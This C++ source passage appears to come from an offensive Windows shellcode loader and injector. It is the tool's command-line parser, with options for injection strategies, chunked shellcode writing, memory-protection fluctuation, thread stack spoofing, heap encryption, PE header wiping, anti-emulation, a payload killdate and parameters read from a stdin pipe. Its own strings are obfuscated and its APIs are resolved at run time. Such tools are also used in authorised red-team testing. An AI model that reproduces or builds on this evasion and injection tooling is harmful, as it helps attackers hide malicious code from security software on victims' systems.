                    info(OBF(L"[!] Invalid strategy parameter value. Must be an integer with values between: 0-20"));
                    return false;
                }

                for (auto i : Strategies_That_Must_Spawn_Child_As_Self)
                {
                    if (programOptions.InjectionStrategy == i)
                    {
                        verbose(OBF(L"[.] Specified infection strategy will spawn self as a child and then infect it."));
                        programOptions.SpawnChild = true;
                    }
                }

                break;
            }
            case 'S':
            {
				try
				{
					size_t dummy = 0;

					if (woptarg[0] == L'0' && woptarg[1] == L'x')
					{
						if (woptarg.size() <= 2)
						{
							info(OBF(L"[!] Too short HEX chunk size specified. Must be more than 2 characters with 0x prefix, given: "), woptarg.size());
							return false;
						}

						auto woptarg2 = std::wstring(&woptarg[2]);
						programOptions.ShellcodeFragmentSize = (uint32_t)std::stoul(woptarg2, &dummy, 16);
					}
					else
					{
						programOptions.ShellcodeFragmentSize = (uint32_t)std::stoul(woptarg, &dummy, 10);
					}

					verbose(OBF(L"[.] Will write shellcode in chunks of size: 0x"), std::hex,
						programOptions.ShellcodeFragmentSize,
						OBF(L" / "), std::dec,
						programOptions.ShellcodeFragmentSize
					);
					break;
				}
				catch (std::exception)
				{
					info(OBF(L"[!] An exception occurred while parsing Shellcode fragment size! Given chunk size: "), woptarg);
					return false;
				}
                break;
            }
            case 't':
            {
                programOptions.ShellcodeFluctuation = true;
                programOptions.ShellcodeFluctuationProtection = PAGE_READWRITE;
                break;
            }
            case 'T':
            {
                programOptions.ShellcodeFluctuation = true;
                programOptions.ShellcodeFluctuationProtection = PAGE_NOACCESS;
                break;
            }
            case 'U':
            {
                programOptions.MasqueradeUserAgent = true;
                break;
            }
            case 'u':
            {
                programOptions.SpoofThreadStacks = true;
                break;
            }
            case 'y':
            {
                programOptions.EncryptHeaps = true;
                break;
            }
            case 'w':
            {
                //programOptions.SpawnChild = true;
                //verbose(OBF(L"[.] PE headers wiping mode: will spawn a child"));

                if (overrideMode) programOptions.WipePEHeaders = emptyArgs.WipePEHeaders;
                programOptions.WipePEHeaders++;
                break;
            }
            case 'v':
            {
                globalVerboseOption = programOptions.Verbose = true;
                break;
            }
            case 'x':
            {
                if (overrideMode) programOptions.AntiEmulation = emptyArgs.AntiEmulation;
                programOptions.AntiEmulation++;
                break;
            }
            case 'X':
            {
                auto parts = split(woptarg, std::wstring(L"-"));
                if (parts.size() != 3)
                {
                    info(OBF(L"Killdate in wrong format. Please specify it accordingly: YYYY-MM-DD"));
                    return false;
                }

                const int year = _wtoi(parts[0].c_str());
                if (year < 2021 || year > 2100)
                {
                    info(OBF(L"Specified killdate's year is incorrect or could not be casted. Please specify it accordingly: YYYY-MM-DD"));
                    return false;
                }
                const int month = _wtoi(parts[1].c_str());
                if (month < 1 || month > 12)
                {
                    info(OBF(L"Specified killdate's month is incorrect or could not be casted. Please specify it accordingly: YYYY-MM-DD"));
                    return false;
                }

                const int day = _wtoi(parts[2].c_str());
                if (day < 1 || day > 31)
                {
                    info(OBF(L"Specified killdate's day is incorrect or could not be casted. Please specify it accordingly: YYYY-MM-DD"));
                    return false;
                }

                programOptions.ProgramKilldate.tm_year = year - 1900;
                programOptions.ProgramKilldate.tm_mon = month - 1;
                programOptions.ProgramKilldate.tm_mday = day;

                verbose(OBF(L"[.] Payload's killdate: "),
                    std::setw(4), std::setfill(L'0'), year, OBF(L"-"),
                    std::setw(2), std::setfill(L'0'), month, OBF(L"-"),
                    std::setw(2), std::setfill(L'0'), day);

                break;
            }
            case 'Y':
            {
                programOptions.IgnoreDelayFailure = true;
                break;
            }
            case 'Z':
            {
                programOptions.DontProcessCommandLine = true;
                break;
            }
            case 'h':
            default:
            {
                usage();
                return false;
            }
        }
    }

    if (parsedOpts < argc)
    {
        info(OBF(L"[!] FAILURE: Options parsing failed. Processed: "), parsedOpts, OBF(L" out of "), argc, OBF(L". Last opt = "), std::dec, opt);
        info(OBF(L"[!] Should bail out but will continue anyway..."));
        //return false;
    }

    if (programOptions.Quiet && programOptions.Verbose)
    {
        info(OBF(L"[!] Quiet and Verbose are mutually exclusive options: How can I speak with no mouth?"));
        return false;
    }

    globalAntiSplicingOption = programOptions.AntiSplicing;

    if (injectIntoProcess) programOptions.SpawnChild = false;

    if (listProcessesAndExit)
    {
        programOptions.ListingRunningProcesses = true;
        listRunningProcesses(programOptions.Verbose);
        return false;
    }

    return true;
}

bool preParseOptions(int argc, char** argv, bool &verboseOverride, bool &quietOverride, char &inputFileType)
{
    for (size_t i = 0; i < static_cast<size_t>(argc); i++)
    {
        if (!strcmp(argv[i], OBFI_ASCII("-v")))
        {
            verboseOverride = globalVerboseOption = programOptions.Verbose = true;
        }
		else if (!strcmp(argv[i], OBFI_ASCII("-")))
		{
            programOptions.RunningAsAFork = true;
		}
        else if (!strcmp(argv[i], OBFI_ASCII("-q")))
        {
            quietOverride = globalQuietOption = programOptions.Quiet = true;
        }
        else if (!strcmp(argv[i], OBFI_ASCII("-f")) && i + 1 < static_cast<size_t>(argc) && strlen(argv[i + 1]) == 1)
        {
            inputFileType = argv[i + 1][0];
            i++;
        }
        else if (!strcmp(argv[i], OBFI_ASCII("-f")) && i + 1 < static_cast<size_t>(argc) && strlen(argv[i + 1]) > 1)
        {
            inputFileType = 'x';
            i++;
        }
        else if (!strcmp(argv[i], OBFI_ASCII("-l")) && i + 1 < static_cast<size_t>(argc) && strlen(argv[i + 1]) > 0)
        {
            std::string s(argv[i + 1]);
            if (s.compare("-") != 0)
            {
                std::wstring sw(s.begin(), s.end());
                wcsncpy_s(globalLogFilePath, sw.c_str(), MAX_PATH - 1);
            }
            
            flushCachedLogLines();
        }
        if (!strcmp(argv[i], OBFI_ASCII("-h")) || !strcmp(argv[i], OBFI_ASCII("--help")) || !strcmp(argv[i], OBFI_ASCII("/?")))
        {
            OptionsParser::usage();
            return false;
        }
    }

    return true;
}

bool OptionsParser::processOptions(int argc, char** argv, bool overrideMode /*= false */)
{
    if (argc <= 1)
    {
        info(OBF(L"No command line arguments specified.\n"));
        info(OBF(L"Pausing program for two minutes. Press CTRL-C to exit."));
        Sleep(120 * 1000);
    }
    else if (argc > 1)
    {
        if (argc >= 2 && strlen(argv[1]) == 1 && (argv[1][0] == '-'))
        {
            programOptions.RunningAsAFork = true;

            auto input = GetStdHandle(STD_INPUT_HANDLE);
            auto out = WaitForSingleObject(input, 10000);

            if (out == WAIT_TIMEOUT)
            {
                verbose(OBF(L"[-] Timeout occurred while waiting for parameters from input named pipe."));
                return true;
            }

            std::wstring args = L"";
            info(OBF(L"[.] Waiting for STDIN parameters.: "));

            //std::getline(std::wcin, args);
            DWORD bytesRead = 0;
            args.reserve(1000);

            DWORD dataSize = 0, tries = 0;
            RESOLVE(kernel32, PeekNamedPipe);

            do
            {
                Sleep(1000);

                if (!_PeekNamedPipe(input, nullptr, 0, nullptr, &dataSize, nullptr))
                {
                    continue;
                }

                if (dataSize > 1000) args.reserve(dataSize + 1);

                ReadFile(input, &args[0], dataSize, &bytesRead, nullptr);
            } 
            while (dataSize == 0 && tries++ < 10);

            verbose(OBF(L"[.] Received following command line from STDIN.:\n\t"), args);

            return processOptionsLine(argv, args);
        }
        else
        {
            bool ret = parseOptions(argc, argv, overrideMode);
            return ret;
        }
    }

    return true;
}

bool OptionsParser::processOptionsLine(char** argv, const std::wstring& args)
{
    auto args2 = trim(args);
    auto argsv = processArgsLine(args2);

    if(argv != nullptr) argsv.emplace(argsv.begin(), std::string(argv[0]));
    
    char **argv1 = new char*[argsv.size()];
    if (!argv1)
    {
        return false;
    }

    for (size_t i = 0; i < argsv.size(); i++)
    {
        argv1[i] = reinterpret_cast<char*>(&argsv[i][0]);
    }

    if (!parseOptions(argsv.size(), argv1))
    {
        delete[] argv1;
        return false;
    }

    delete[] argv1;
    return true;
}